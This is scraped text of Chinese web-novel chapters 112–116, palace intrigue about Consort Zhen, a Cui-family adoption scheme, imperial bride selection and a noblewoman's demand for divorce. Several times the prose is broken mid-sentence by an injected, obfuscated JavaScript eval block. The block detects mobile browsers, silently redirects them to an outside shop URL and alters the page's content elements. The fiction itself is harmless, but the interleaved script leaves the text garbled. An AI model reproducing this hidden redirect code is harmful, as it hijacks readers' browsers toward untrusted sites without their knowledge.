;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔家赏花宴 第一百一十二章崔家赏花宴 文氏感动地把文师师拉入怀中,摩挲着她后背。 “娘就知道,你是最孝顺的好孩子。”比江澜因强百倍、千倍! “娘,快别哭了。” 文师师给文氏拭泪,小心地不叫她涕泪沾到自己的新衣裳上。“师师只是担心,没有那五百两银子,靖威侯不会放人。” “好孩子,别怕。” 文氏眼中闪过一丝得意,“那崔家是世家大族,五百两银子对他们算不得什么。” “崔家会给我出吗?”文师师还是不确定,“爹为何就不能……” 爹都是镇南大将军了,总不会没钱。 文氏噎了一下,“你爹他有自己的考量。他已经传信来说了,只要你在赏花宴上好好表现,做崔家义女的事十拿九稳。他已经说服了崔氏,对外就说你是她亲生的女儿。那崔氏悍妒,师师,往后只怕就,委屈你了。” 只觉离别在即,母女两个重又抱在一起失声痛哭。 崔府,赏花宴。 因为女眷们的小宴,来的人不多。 文氏知道,这些来客都是替文师师做幌子的。两人跟着丫鬟,绕过影壁,径直走到后院。 崔府在盛京屹立百年,脚下的卵石甬路磨得光泽温润,缝隙里,生着茸茸的青苔。 与侯府刻意装潢出来的富贵,截然不同。 文氏不觉拧眉。 敬哥哥在南疆驻守辛苦,崔氏却一个人留在京中享福。配不上她的敬哥哥。 不过,如今为了师师能出泥潭,有一个体面的尊贵身份。只得她先忍着崔氏罢了。毕竟,崔氏虽然出身高贵,却不得夫君的真心。 也怪可怜的。 种种思绪在脑海里打转儿,跟着丫鬟脚步,文氏二人进了内里的小花间里。 屋里只得崔夫人一人,向她们点头,淡淡含笑。 文氏下意识紧张,母亲的本能,把文师师护在身后。 不想,文师师却自己走了出来,向崔夫人盈盈行礼,“夫人安好。”她语气一转,就红了眼眶,“师师多谢夫人救命之恩。” 崔夫人吓了一跳,“怎说得这般严重?” 文师师哭道:“若不是夫人相邀,只怕、只怕师师在侯府,就要被人给磋磨**。” 说罢落泪,压抑着声音哭。楚楚可怜的模样。 只因她早先听云岫说起,崔夫人见不得人受苦,是个心软的。 果然,崔夫人见了极怜悯她,“孩子别哭。将军都和我说了,说你在侯府遭人冷待,竟至这样厉害?” 可细看文师师,崔夫人又疑惑。 这一身绫罗绸缎,满头的珠翠。 崔夫人:“当真有如此严重吗?” “是……”文师师委屈,“靖威侯家的小姐,封了皇上的贞妃。她自幼就与我不睦,欺负我没有爹娘,如今、如今更是……” 她哽咽难言。 文氏也配合地红了眼眶,脸儿别向一边,“都怪我,没有教好女儿,如今更是管不了她。” 见崔夫人不语,文师师又道:“还有侯爷,侯爷是一家之主,他听了贞妃的挑唆,要磋磨我,克扣我饮食,贞妃方才高兴。” 崔夫人拧眉。 她不是不可怜文师师,只是高门贵女的直觉,让她并不想平白得罪江澜因。 一个皇帝身边的宠妃,没有开罪她的必要。 文师师:“还有、还有世子……如今世子大了,看我的眼神,也不清白……我、我怕……” 她声音直发颤,是真的委屈到了极致。 若是今日崔夫人不收她,她就完了!什么时候才能有出头之日? 所以拼命表演可怜。 文氏却听不得这话,“他是你哥哥,兄妹……表兄妹之间,说什么清白不清白?师师,此事是你误会了,快和崔氏……崔夫人说清楚。” 她的好大儿,可不容人诋毁。 文师师也不行。 不想这话却是说到了崔夫人心里。 孙敬也说过,文师师这个孤女,在侯府被受人欺负,他亲眼看到的。 崔夫人最厌男子仗着身份地位欺辱女子。 她伸手,把文师师拉到身边,“孩子,你受委屈了。” 文师师哭得愈发厉害,心中却是一松。 崔夫人对她的怜悯与善意,她感受到了,必会牢牢抓住。崔家这个养女,她当定了! 细细安慰了文师师一番,崔夫人叫丫鬟送她们去外间正经赴宴。 临行时,文师师依依不舍,“师师没有别的意思,只是、只是实在眷恋夫人。怕这次回了侯府,往后再无相见之日了。” 她这段日子瘦得厉害,脸色也蜡黄,胭脂都遮不住,强压着哭声说话的模样,十分可怜。 崔夫人确动了恻隐之心,她拍了拍文师师手背,又看向文氏道:“将军曾与妾身说过,他从前受过些文家恩惠。你们且放心,堂堂镇南将军不是知恩不报那等人。” 走出内院,文师师抽出袖中手帕,擦干了眼泪,全然不见刚才悲戚之态。事情十拿九稳,她面上也有了光彩。 文氏却忍不住,皱眉道:“师师,你怎能说你哥哥不好?” 江慎将来可是要袭爵、做官的人,名声何其重要?岂能叫崔氏一个内宅妇人听他的笑话儿?她不配! 文师师敷衍道:“等师师做了那崔家女儿,会和她说清楚都是误会。不会碍着哥哥名声。” 今日顺利,文氏心中小小不悦也散去,见领路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265717|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的丫鬟离得远,忍不住说道:“师师,你放心,这事不会拖延太久。毕竟,三皇子选妃在即,你得露脸……” 立住了文师师崔家女的身份,才好与太子般配。 不想,一道刁蛮的女声自身前骤然响起: “什么上不得台面的东西,也敢觊觎三皇子?” 文氏两人吓了一跳。 见来人是个年轻姑娘,身材窈窕,容貌娇俏。是个脸生的。 此女语气不善,激得文师师拧眉:“什么小门小户来的丫头,竟敢胡说。三皇子也是你能肆意攀诬的?” 不是什么厉害的话。 那女子却好似被戳中心事一样,瞬间涨红了脸,竟伸手奔文师师脸上来。 “贱婢,撕了你的嘴!” 她身边的丫鬟连忙拦住,苦苦地劝:“……小姐,千万别耽误了正事!跟这样不入流的人生气,不值得!” “不入流”三个字,如利箭,刺入文师师耳朵。 她只觉脚下踩的,不是崔家。 是镇南将军府! 这府里一草一木,都该是她爹爹的!她该是此处最尊贵的主子! 一个小丫鬟,敢这样说她? 文师师气得红了眼,胸口剧烈起伏。 文氏连忙护在她身边,压低声音劝:“都是崔氏的不对,好好的赏花宴,怎请这种没分寸的人来?平白污了师师你的身份!” “等你做了崔家的女儿,可不许与这般下等人来往!” 小径上闹作一团。 崔夫人的花厅里。 孙敬赶来。他眉眼温润,一进来就为崔夫人披上外袍。 “这门大敞四开着,别被冷风扑到。”他语气一转,问道:“人看得如何?我见过那孩子,是个极好的,夫人可喜欢?” 说的是文师师。 刚才为了避嫌,他特意躲了出去。 如今急着来要结果。 想起文师师刚才眼圈通红,想哭又不敢的模样,崔夫人叹了口气,“是个好孩子,也可怜。” 这话一出,孙敬知道,事情成了。 他喜道:“既然夫人也喜欢,明日你便和娘去一趟侯府,把人接回来,做咱们的女儿,也和凝儿做个伴。” 崔夫人却道:“不急,我再想想。” “还想什么?那孩子那么可怜。” 崔夫人抬头,静静地望了孙敬一眼,“可怜的孩子不独她一人。” 既然动了收养义女的心思,自然要选个好的。 孙敬一愣。什么意思? 这义女的位置,是他特意给文师师留的。不是她,还能有谁? 崔夫人悠悠道:“父亲旧部的遗孤,温家的女儿,找到了。今日我也请了她来看看。” 第113章 让江澜因替皇子选妃 第一百一十三章让江澜因替皇子选妃 崔老爷子早年也是威名赫赫的大将军,孙敬就是做了他的入赘女婿后,得他亲手拔擢上去的。 “可,文家那孩子实在可怜,咱们要是不管她……” “没说不管。”崔夫人挑眉,“让我好好儿想想,这事儿该怎么管。” 孙敬没了法子。 别说这里是崔府,他做不了主。 就算是回南疆,手下的也多是崔老将军的旧部,自己一样处处掣肘。 不然,也不会想着用文师师搏一把。 孙敬张了张口还想说什么,崔夫人略带疑惑的目光横过来一扫,他立刻道:“都听夫人的。” 另一边。 翊坤宫中。 沉璧来递消息,“……侯夫人和表小姐从崔府回来,兴冲冲的,连侯爷的话都敢不听。想是事情十拿九稳。” 她顿了顿,拧眉,“只是,崔家关防严,没有咱们的人,打探不出切实消息。” 江澜因点了点头。 崔家那样的百年世家,靖威侯府在他们眼中,都微末如尘泥。更别说自己这个才得了不几日宠爱的贞妃。 世家不好对付,需得慢慢来。 再说,她相信文师师。这位表姑娘,一定不会让自己失望。 江澜因含笑,“辛苦了。” 她纤纤玉手,正拨开橘皮。莹润的指尖,沾染金澄色的汁水,淋漓下来。 春枝正要上前。 沉璧:“娘娘,让奴婢来。” 她上前,取过一块洁白胜雪的真丝绣帕,动作轻柔地覆在江澜因手上,为她擦去指间橙汁。 是今年的新橙,清甜的味道,透过绣帕,在鼻端浮动。 贞妃娘娘知人善任。周嬷嬷爱钱,娘娘留她在侯府伺候,隔三差五总有赏赐。至于自己,能跟在娘娘身边,为娘娘做事,足矣。 门外传来小太监通报声:“贞妃娘娘,皇上在坤宁宫,和皇后娘娘一起,请您过去说话。” 到了坤宁宫。 才瞧见纯妃和二皇子也在。 二皇子二十几岁,还和孩子一样,咬着手指甲站在纯妃身后。 见江澜因来了,惊喜大叫道:“姐姐,漂亮姐姐,来了!” 纯妃忙打他的手背,“那是你贞娘娘,快问娘娘好。” 说着,目光飞快地在皇帝面上一转,见皇帝没有怒色,才松了口气。 又看向江澜因,很轻地对她点了点头。 “因因,来。” 顾辰枭指着和皇后身前的长案上,摆放了十几张女子的小像。 “因因,你眼光好。叫你过来,是帮着皇后和纯妃,给璟儿和霖儿两个孩子选妃。她们两个关心则乱,已挑得花了眼了。” 顾辰枭语气温和,半正经半打趣。 却是很认真地指点江澜因,逐个看过去。 皇帝心里清楚,江澜因升到贞妃,已是头了。 他这一生,不会再册第二位贵妃。他心中的贵妃,只有何樱一个,再无他人。 至于皇贵妃,那是皇后的预备役。江澜因更是此生无缘。 位份再也升不上去,皇帝的意思,是让江澜因慢慢学着协理六宫。 省得小姑娘太单纯,太依赖他,容易被人欺负。 一旁,何皇后半晌无语,暗自咬牙。 让江澜因给她的宝贝儿子选妃?凭什么?江澜因自己就出身不高,她哪里懂世家大族盘根错节,相互掣肘又相互依存的复杂关系? 她会选个屁! 顾承枭:“因因,你也是璟儿和霖儿的庶母,有资格给他们参谋。好好儿选,朕相信你。” 身前一子排开女子们的小像,角落里都用小楷备注了这些女子的身份,年龄。 不过没写名字,只写了个姓氏。她们都是家族送上来参选的,自己的名字不重要。 江澜因一眼扫过去,便知何皇后只盯着除了自家之外的另三个世家。 那些家族选送的姑娘,纯妃一眼都不敢看,暗自低头。 袖沿平白显出几道抓痕,显是心中紧张的不行。 世人只当宫中家宴才是皇子们选妃的场所。 殊不知,到时候,能选谁,不能选谁,都是一早定好的。经过几轮筛选,最后不过走个过场,留下一句姻缘天定、两厢情愿的佳话罢了。 什么自在相看? 生在皇家,哪有自在的资格? 江澜因纤细的手指,自桌角上拿起一副女子画像。画像上的女子姓方,父亲是连广总督。 放在旁人眼中,这已是极高的门第。 何皇后却嫌他是个外官,看不上。 江澜因向纯妃:“纯姐姐,你看这方小姐可好?”她见纯妃一脸疑惑,温声道:“御史黄睿的夫人就姓方,你瞧,这位方小姐,是不是像她的姑姑?侄女像姑姑,最是福相。” 纯妃眉梢一挑,眼中划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265718|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一抹惊喜。 黄家是皇帝一手提拔上来的,现在虽然官位不高,可未来可期。 黄家好了,姻亲方家会差? 再说,方家不显眼,这样的人家,纯妃纵是母家无人,也自信还拿捏得住。 她身后,二皇子眸光一闪,惊喜道:“好看!这个妹妹真好看!” 孩童一般的语气,听在耳中赤诚稚拙,顾辰枭扫了一眼那方小姐的画像,“甚好。” 淡淡一句,算是初定了一门亲事。 纯妃心中大定,感激地看了江澜因一眼。 何皇后目光愈沉。 这方小姐,是她看上,预备给霖儿做侧妃的。 没想到被老二那个傻子抢去了。 她看向江澜因,面上笑容有些僵硬,“这一案子的美人儿,贞妹妹怎么就选了那方氏?妹妹还知道,方家与黄家是姻亲,可见妹妹平日里留心。臣妾记得,黄家似与妹妹有些不睦来着……” 是说江澜因对朝政有心思。 这话,何皇后自己都不信。 不过是说出来,刻意恶心皇帝罢了。 顾辰枭淡淡扫了皇后一眼,也看向江澜因:“是啊因因,你为何选她?” 他的因因之前被侯府藏了十八年,声名不显,很少出来交际。她给二皇子选这个方小姐,倒是选得极好。 是早就留心在意,还是……误打误撞? 皇帝目光盯在江澜因脸上,虽温和,也带这些压力。 江澜因心中好笑。 有时候男人让女主做事,不是真心希望事情能做成、能做好。不过是为了在旁指手画脚,彰显自己,满足自己罢了。 她不好意思地一笑,“臣妾知道什么?不过是……皇上,您自己看,这方小姐,和二殿下,是不是有几分夫妻相?” 这就是孩子话了。 顾辰枭根本不信什么夫妻相。他见过那么多对夫妻,只觉没有一对长得神似。更别说,他三宫六院,那么多嫔妃,就算是何皇后,哪个敢说和他这个皇帝有夫妻相? 这话若从旁人口中说出来,就是僭越。 因因说,顾辰枭只觉得单纯可喜。 他的因因能有什么坏心思?还是个孩子罢了。 “皇后,贞妃年纪小,性子跳脱,想到什么便说什么,也是有的。”皇帝重又向江澜因:“二皇子有了,三皇子呢?” “你看这些女子,哪个配得上朕和皇后的三皇子?” 第114章 她有野心昭昭 第一百一十四章她有野心昭昭 何皇后有些急。 眼看着二皇子的婚事,因江澜因三言两语定下,皇帝又正是在兴头儿上。 若是江澜因胡乱瞎说些什么,皇帝允了,岂不是麻烦? “皇上,您也说了,贞妃她年纪小,恐怕她不懂……” “皇后,”顾辰枭打断何皇后,淡淡道:“就算贞妃有什么不懂,朕还在呢。你这是,不容贞妃说话吗?” 皇后面色变换,“……臣妾,不敢。” 她深吸了一口气,稳下心神。 左右太子已死,皇帝或早或晚,必会传位于她的霖儿。皇帝心中想必也清楚这一点,不会纵着江澜因乱点鸳鸯谱。 何皇后面色稍和缓了些,“贞妃,放开胆子,大胆地给霖儿选。” 她是带着笑,声音听起来却有几分咬牙切齿的。 江澜因忍笑,故意把目光投向何皇后看不上的那一堆。 “这位李小姐,生得真是娇俏可人。皇后娘娘,您说是不是?” 何皇后咬着腮帮子,“给皇子选妃,岂能只看容貌?” “这位孙小姐,祖父是国子监祭酒,想必家学渊博,才华横溢。” 区区国子监祭酒,帮得上霖儿什么?! 何皇后:“一个女子,书念得再好也没用,得选贤惠的……” 那可是未来的皇后! 江澜因戏耍得她够了,才看向皇后身前,三大世家举荐上来的女子。 她一张张看过去。 眸光陡然一亮。 终于,找到她了。 纤指捻起一副小像,“皇上,皇后娘娘,这崔家的妹妹,生得真好看。” 何皇后本就属意崔家,只是皇帝没有发话,她也不好把话说得太直白。 毕竟,何家,皇帝本就有些防着。 若再与崔家联姻,皇帝只怕就要忌惮了。 江澜因说这话,如给皇后递了台阶一般。何皇后面上笑容都真切了些,“皇上,贞妹妹果然好眼光。” 顾辰枭接过那画像,没有说话。 何皇后试探道:“刚才,霖儿在时,略略扫了一眼,也说这崔家女不错。” 崔家口中说着不用女儿联姻,这也不巴巴儿送画像来了?想必是,看到她的霖儿,将来必会顺利登基。 皇帝看着画像,确实微微拧眉,“这姑娘,脸儿生。她是崔家女,朕和皇后从前从未见过。” 不是孙敬和崔氏所出的崔凝雪。 是谁? 江澜因心中笑意几乎要忍不住。 三皇子对这人有意,话说得这么明白。这人自然就是他金屋藏娇的温曦。 如今是崔家送来了她的画像,看来,文师师输了。 不知道她和她的好娘亲,知不知道这个消息。 何皇后凑过来道:“崔家送此女画像来时便说过,她确是崔夫人所出。不过因身子不好,批命的道士说成年前不可见血亲家人,才一直养在外面,年满了十八岁才接回来。说起来,比皇上见过的崔家凝雪还要大上两岁呢。霖儿说她好,臣妾看着,倒也是那么回事。” 既是崔家女,出身高贵。霖儿也喜欢。 何皇后自然满意。 “皇上,您看呢?” 顾辰枭面色淡淡,看不出情绪来,“既然皇后喜欢,年前便组织一场品茗小宴,不必太多人知道,只叫崔家、方家送女入宫,再选上旁的两三个陪衬候选,给璟儿、霖儿看看她们的性子,再说。” 这便是允了大半。 何皇后、纯妃各自松了一口气。 皇后:“臣妾就这就办。” “不过是小事,不必劳烦皇后。”顾辰先淡声道:“让贞妃操办吧。皇后从旁看着、帮着点儿便是。” 何皇后猛地一愣,脸色恼怒之色几乎要掩不住。 强压下去,咬牙切齿道:“……是,臣妾知道。” 顾辰枭不再看她,“因因,随朕回翊坤宫去。” 皇帝和江澜因走后,何皇后:“素月,带二皇子出去打鸟玩儿。本宫有几句话,要对他母妃说。” 屋内只剩下皇后、纯妃两人。 何皇后轻笑一声,“你这个娘当得好。可是觉得本宫对老二婚事不上心,巴巴儿跑到皇上跟前说嘴?” 纯妃心中一沉,“娘娘,臣妾不敢。” “你不敢,皇上怎么突然想到了你生的那个傻子?还要和霖儿一起选妃。纯妃,他是个傻子,你自己说说,他配和霖儿一起吗?” 还抢走了霖儿的侧妃。 纯妃脸色煞白,“臣妾……知罪。” “知罪有什么用?你且看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273869|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那方家女愿不愿意嫁给你那个傻儿子吧!” 苍白的脸上浮现愤怒的红晕,纯妃死死咬着嘴唇,方才压了下去。 何皇后又道:“纯妃,你生下的儿子痴傻,是给皇室蒙羞,皇上看到你们就心烦。没有本宫护着你,你们母子早活不到今日。你要知足。” “是、是……” “你可知,这几日的起居注上,皇上只宿在翊坤宫。那几个新选进宫的秀女,形同虚设一般!你是四妃之一,不知道劝谏皇上?” 纯妃闭了闭眼,“臣妾失职,臣妾……会去的。” 何皇后这才冷睨了她一眼,似笑非笑道:“如今,贞妃得宠,把咱们都比下去了。只是这宫中,花开花落,本是常态。纯妃,你可别错了念头。” “……臣妾,知道。” 出了坤宁宫,纯妃脚步踉跄,全没了刚才的喜意。 二皇子跑跳到她跟前,双手捧着梅花枝,“娘,娘,给你。” 梅花……上次,二皇子说要感谢江澜因那灰鼠皮子,也折了梅花。今日也多亏了江澜因。 纯妃面上闪过一丝迟疑。 这么多年,皇后庇护她,也无情地利用她。她和儿子日子过得并不舒心。 或许…… “不行!” 纯妃一把打掉儿子手中的花枝,掉在地上,花瓣散落一地。 “快走,别在外面给你母妃丢人现眼!” 纯妃拉着二皇子,匆匆去了。 跟在何皇后身边多年,纯妃心里清楚皇后的手段。江澜因……斗不过她的。 第二日,纯妃给翊坤宫重又送了几匹缎子。 人却没来。 江澜因掀起眼皮看了一眼,都是寻常货色。 “拿下去吧。”她声音淡了许多。 一旁,邱嫔看见,有几分不解:“纯妃早不得宠,母族又无力。为何帮她?” 江澜因纤细莹白的指尖,在碧玉茶盏杯口打着圈,没回答这个问题:“邱姐姐,你说,本宫升到妃,是不是这辈子就到头了?” 邱嫔一愣,下意识道:“上面自然还有贵妃、皇贵妃。” 江澜因笑了一下,一张精致的小脸,似被这笑容瞬间点亮,几乎要生出光辉。 “百鸟来朝,万花之主。邱姐姐,那两个字,你为何不敢说?” 第115章 皇后不好惹 第一百一十五章皇后不好惹 “皇后……” 这两字如有魔力一般。 邱嫔痴了,张了张口,到底没敢说出来。 她在宫中多年,心里清清楚楚知道…… 不可能的。 皇后之位,何芙坐得很稳。 她有子嗣,三皇子颇得圣心。母家也强悍。 沉吟半晌,邱嫔眸子里的光微微发黯。她摇了摇头,低声道:“太子的事,皇上捂了这么长时间。只怕是……根本没找到实据。” 还有另外一种可能,她没说。 皇帝找到了实据,却忌惮何家,不敢发作。 谋害当朝太子,若是这么重的罪,都压不倒何芙。邱嫔真的想象不出来,江澜因还能用什么法子,取代何芙,登上皇后之位。 她想起贵妃去世后,自己拼了一条性命跪在顾辰枭面前陈情,说是何芙害了贵妃。 当时顾辰枭悲痛、愤怒,说一定会彻查,还心爱的女人一个公道。 “……若果真是那毒妇,朕叫她血债血偿!” 以皇帝对贵妃的盛宠,邱月影本以为定能报仇。 结果…… “邱嫔,朕并非昏君。怎能只凭你一句话,和贵妃的猜测,就治堂堂皇后的罪?” “朕查过了,不是皇后。” “以后这样的话,休要再提。” 邱嫔轻叹了一口气,“谋害贵妃、太子,此事放到任何人身上,都是株连九族的大罪。可咱们这位皇后娘娘,背后有何家撑腰。何家不倒,皇上不会动她。” 江澜因:“何家若是倒了呢?” 邱嫔身子一颤,下意识道:“不可能。” 她太清楚何家的能耐和手段。苦口婆心地劝,“妹妹,你能凭借皇上的宠爱,制衡住皇后,已属不易。不要妄想太多,免得害了自己。再说,这与纯妃有什么关系?” 知道邱嫔是替自己着想,江澜因只是笑笑,“磨钝皇后手里一把刀罢了。” 要坐稳贞妃的位置,还要一路往上走,江澜因要实实在在的权利,也要更多盟友。 她笑意盈盈地看向邱嫔,“邱姐姐,这次品茗宴,算是皇上给本宫的考验。你帮帮本宫,务必把事情漂漂亮亮地办下来。” 这品茗宴的成败,关系到皇帝觉得江澜因是否有能力真正协理六宫。 邱嫔肃容道:“是。嫔妾必全力协助娘娘,娘娘放心。” 邱嫔走后,春枝来禀:“小姐,咱们宫里的绣房来禀,皇上的寝衣已制好,请娘娘过目。” 手脚很快,急着表现。 江澜因点点头,“叫上来吧。” 绯儿垂着头,双手捧着紫檀托盘,一件浅金色寝衣整整齐齐叠在盘中。 “呈上来。” 春枝上前,抖开那衣衫。 江澜因扫了一眼那衣裳。针脚确实不错,比自己强。 皇帝的寝衣有既定的形制,在右肩上探出一条金龙,五爪踢蹬在祥云中。金龙通体用比头发丝儿还细的混金线绣成,烛火映照下,熠熠生辉。 是第一等的好针指。 托盘一侧,放着些许绣线,两根银针。 江澜因目光扫过去。 绯儿连忙解释:“贞娘娘有所不知。宫中的主子娘娘给皇上作衣裳,最后几针,总要亲手收过才算。” 江澜因明白了。 说是她们这些嫔妃给皇帝做这做那,其实根本用不着,都是下面的人做。 只要当主子的最后别上一两针,就算是自己做的了。 “你心思很巧。”江澜因目光落在绯儿脸上,“好好办差,本宫庇护你,不会亏待你。” 绯儿眸光一闪,“是,奴婢知道。” 春枝为江澜因穿好线,她闲闲地在袖口别上了两针,又打结收尾,便算是完成了这件衣裳。 江澜因又吩咐:“你们往后就留在翊坤宫里。这几日赶一赶,本宫也想制一件寝袍。就用藕粉色杭绸,不用绣什么,与皇上这件一样针脚即可。” “是。奴婢需把皇上这件寝袍带回去,给其它绣娘们比对针线。” 江澜因点头:“去吧。” 绯儿身影远去,江澜因不动声色地收回目光。 她给过这小宫女机会了,希望她能抓得住。 江澜因准备品茗宴这几日,靖威侯府闹翻了天。 崔家收义女的事在暗中进行,品茗宴也是小规模的宫宴,收到请柬的人家心里明白,都不张扬。 侯府没得到消息。 文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273870|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师师还做着崔家小姐的美梦。 她没想着带云岫去,撺掇文氏,把丫鬟卖去了花楼。 反正去了崔家,爹定会给她安排更好的丫鬟伺候。不缺云岫一个。 文氏这几日腰杆也挺得很直,打扮得花枝招展,日日等着孙敬来信。 靖威侯看不过去,“不就是去崔家赴过一场宴,也至于高兴成这样。怎么,崔家说了,要替你那侄女儿还那五百两银子?” 文氏冷哼:“侯爷眼中只有那些俗物,蝇头小利。却不知师师她如今身份高贵,是崔家的小姐,往后再不可慢待她了。” 靖威侯趋炎附势,有一瞬间的犹豫。“真的?” “自然是。崔家上下都喜欢师师,要认她为养女。孙将军果然有担当。” 提到孙敬,靖威侯心口莫名有些发赌,“既然那么喜欢,如何还不送银子来?” 文氏一点都不慌,“侯爷,妾身劝你一句,现在收了你那些要钱的话,往后师师和崔家,还能念你一句好。从前,师师做不了太子妃,是因侯府破落,连累了她。如今,她得了好出身,不日就要飞上枝头变凤凰。” 靖威侯斜了文氏一样,冷笑,“你那侄女变凤凰?还肖想着太子呢?那日太子如何对她的,你没看见?太子连一眼都没看她。这些,崔家都知道吗?” 文氏愣了愣,怒道:“你胡说!” “我怎么是胡说?那日你没在边上看?” 太子冲进来,一门心思只想要的,是他的女儿江澜因。 文师师算什么? 陪衬都算不上。 靖威侯:“崔家喜欢她,就该拿出诚意来。五百两银子,就当是赎身。” 文氏根本受不了这种话。 什么赎身?花楼里的艳妓才说赎身! 她这几日自觉有孙敬和崔家撑腰,胆气极壮,竟对这靖威侯高高扬起了手,“住口!你胆敢羞辱未来的太子妃娘娘。” 靖威侯根本不信文氏真的敢如何。他把脸凑过去,“本侯就羞辱她了,你待如何?” “你、你!” 文氏瞪大眼睛,一咬牙。 “啪!” 一记重重的耳光,落在靖威侯脸上。 她撕心裂肺地喊:“我要合离!” 第116章 文氏要合离 第一百一十六章文氏要合离 “好贱妇!你、你不想活了?” 靖威侯从落地到如今,何曾受过这样的**?他一刻都再忍不了,扑上去与文氏揪打在一起。 下人费了九牛二虎之力,才把两人拉开。 文氏一只眼睛都被打青了,肿得什么都看不见。 靖威侯也没讨到好儿,脸上被文氏长长的指甲抓得乱七八糟,直往外渗血。 文氏哭喊得快要晕厥过去,“我、我是朝廷的诰命!不是能任你摆布的无能妇人!我、我要告御状,把你们侯府的腌臜事都抖落出去!我要合离!” “合离?” 靖威侯根本不信。 大盛虽不禁女子合离归家,可文家早败落了,文氏在侯府过了半辈子富贵荣华的好日子,离了侯府,甘愿回文家老家过苦日子? 怎可能? 不就是想用这话吓唬他,拿捏他?堂堂靖威侯,岂会被一个妇人要挟住! 靖威侯双眼圆睁,怒吼:“谁都不许拦她!让她去!” 等江慎、文师师得了消息,赶出来要拦要劝的时候,已经太迟了。 靖威侯拂袖而去。 文氏叫自己的心腹下人套了车,收拾了一个小包裹,哭哭啼啼,径自出门去了。 江慎要追。 可他挨过家法,身上还未好全,追不上。 又想,娘不过是置气。离了侯府还能去哪儿?过几日就回来了。 于是作罢。自己慢慢儿踱回侯府。 文师师没追出去。她想得更多。 这几日,她日日都听文氏唠叨,不愿意再呆在侯府的话。以为她只是寻常抱怨。 没想到,文氏竟真想合离。 这个当口合离…… 自己要去崔家当大小姐,文氏合不合离,碍不着她的前程。 此事若真能成,文氏能时时与孙敬相见,他们一家三口,也算是团聚。 最重要的是……宫里那位,可真就要丢大脸了。 文师师挑了挑唇角,无声地笑了。 文氏动作很快,当日就以诰命的身份,往宫里递了折子。 太后如今在寺中礼佛,不管事。外命妇的折子都递给何皇后。 皇后看过,几乎要笑出眼泪,“这可真是新鲜事,快、快请皇上来。” 顾辰枭迈进坤宁宫后,皇后变了一副脸色。 “皇上,您看,这靖威侯也闹得太不成样子。羞辱女眷,殴打发妻,依臣妾看,这侯夫人拼死上报,只怕也是觉得日子实在过不下去了。” 皇帝对文氏印象不好,觉得她拎不清。 顾辰枭:“她浑说的,皇后不必在意。” 知道皇帝是想把事情压下去,怕闹大了对江澜衣不好。皇后偏不叫他如愿,“可文氏夫人毕竟是朝廷的诰命,靖威侯竟对她动手,把她打伤。这、这太过了。” “皇后的意思,是要允他们合离?” 事情闹得越大,江澜因越没有颜面。 何皇后故作担忧,“臣妾是顾忌贞妃的面子。臣妾想,文氏夫人是贞妃的亲娘,当女儿的,怎会不盼着自己的亲娘好?臣妾想把此事查清楚了,给贞妃的爹娘一个公正的裁决。” 皇帝淡淡看她一眼,“可以。只是不许牵连到贞妃。” 何皇后强压下翘起的嘴角,“是。” 她又道:“只是,此事在宫内宫外都传得沸沸扬扬,都说江家的家教……臣妾当然知道,贞妃无错,可这种情况下,皇上,您说,她还适合主持为您的二皇子、三皇子选妃的品茗宴吗?” 江澜因爹娘出问题,她自然不能再主持为两位皇子合婚的大事。 不合适,也不吉利。 皇帝没有说话,不置可否。 知道此事闹出来,江澜因一定会难过。借口拿寝袍,去了翊坤宫。 却扑了空。 江澜因去了邱嫔宫中。 “不急。”皇帝自顾自坐下,“差人去传她,朕等她回来。” 去请江澜因的下人刚走。 